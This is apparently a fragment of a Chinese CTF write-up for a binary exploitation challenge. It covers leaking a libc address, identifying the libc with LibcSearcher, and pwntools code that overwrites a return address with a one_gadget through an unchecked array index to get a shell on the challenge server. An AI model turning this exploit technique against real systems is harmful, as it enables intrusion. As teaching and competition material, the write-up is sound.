>>> 0x830-240 1856 >>> hex(1856) '0x740' >>> from LibcSearcher import * >>> obj = LibcSearcher("__libc_start_main", 0X740) >>> obj.dump("system") Multi Results: 0: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) 1: archive-glibc (id libc6_2.23-0ubuntu3_amd64) Please supply more info using add_condition(leaked_func, leaked_address). You can choose it by hand Or type 'exit' to quit:
可以看到,直接把libc整出来了,我们看看
1 2 3 4 5 6 7 8 9 10 11 12
# root @ pic-RESCUER-R720-15IKBN in ~/桌面/guosai [11:28:01] $ nm -D /lib/x86_64-linux-gnu/libc-2.23.so | grep main 000000000002e1a0 W bindtextdomain 000000000002e400 W bind_textdomain_codeset 00000000000fd500 T getdomainname 0000000000118730 T __getdomainname_chk 0000000000071c10 T _IO_switch_to_main_wget_area 000000000018cbc0 R _libc_intl_domainname 0000000000020740 T __libc_start_main 00000000003c93a8 B _nl_domain_bindings 00000000000fd570 T setdomainname 0000000000032620 W textdomain
#step2 overwrite EIP to one_gadget for i in range(6): p.recvuntil('index\n') p.sendline(str(i + 344)) p.recvuntil('value\n') p.sendline(str(ord(p64(one_gadget)[i]))) # 把它写到ret处
#Get Shell & Have Fun #debug() p.sendline('a') p.recvuntil('(yes/no)? \n') p.interactive()
感觉本题最恶心人的就是
1 2
elif(len(aa) == 8): libc_leak += aa[-2:]
本题的循环输入输出
1 2 3 4 5 6 7 8 9
for ( i = 0; i <= 40; ++i ) { puts("input index"); __isoc99_scanf("%d", &v1); printf("now value(hex) %x\n", (unsigned int)v4[v1]); puts("input new value"); __isoc99_scanf("%d", &v2); v4[v1] = v2; }
if local: p = process('./double') else: p = remote('e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com' , 40002)#nc e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com 40002